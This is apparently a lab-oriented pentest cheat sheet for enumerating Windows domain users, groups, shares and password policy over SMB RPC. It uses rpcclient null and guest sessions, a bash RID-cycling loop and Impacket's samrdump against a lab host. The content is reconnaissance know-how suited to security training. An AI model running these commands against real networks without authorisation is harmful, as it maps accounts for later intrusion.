RPC over SMB gives us domain and local account information through named pipes. If SAMR access is loose, rpcclient can enumerate users, groups, aliases, shares, password policy, and RIDs even when LDAP is less convenient.
Connect
rpcclient -U "" 10.10.10.200
rpcclient -U 'guest%' 10.10.10.200
rpcclient -U 'ootw.local\student%student' 10.10.10.200
One-liners
rpcclient -U 'ootw.local\student%student' 10.10.10.200 -c "srvinfo"
rpcclient -U 'ootw.local\student%student' 10.10.10.200 -c "getdompwinfo"
rpcclient -U 'ootw.local\student%student' 10.10.10.200 -c "enumdomusers"
rpcclient -U 'ootw.local\student%student' 10.10.10.200 -c "enumdomgroups"
rpcclient -U 'ootw.local\student%student' 10.10.10.200 -c "netshareenumall"
Interactive commands
srvinfo
getdompwinfo
getdominfo
enumdomains
enumdomusers
enumdomgroups
enumdomcomputers
enumalsgroups domain
netshareenumall
lsaquery
RID cycling
rpcclient -U "" 10.10.10.200 -c "lsaquery"
rpcclient -U "" 10.10.10.200 -c "lookupsids S-1-5-21-1111111111-2222222222-3333333333-500"
rpcclient -U "" 10.10.10.200 -c "lookupsids S-1-5-21-1111111111-2222222222-3333333333-1000"
RID loop
for i in $(seq 500 1200); do
rpcclient -U "" 10.10.10.200 -c "lookupsids S-1-5-21-1111111111-2222222222-3333333333-$i" 2>/dev/null | grep -v "unknown"
done
Impacket
samrdump.py 10.10.10.200
samrdump.py ootw.local/student:'student'@10.10.10.200
Notes
- RID cycling is useful for username discovery.
- It does not prove the password, privilege, or current activity of the account.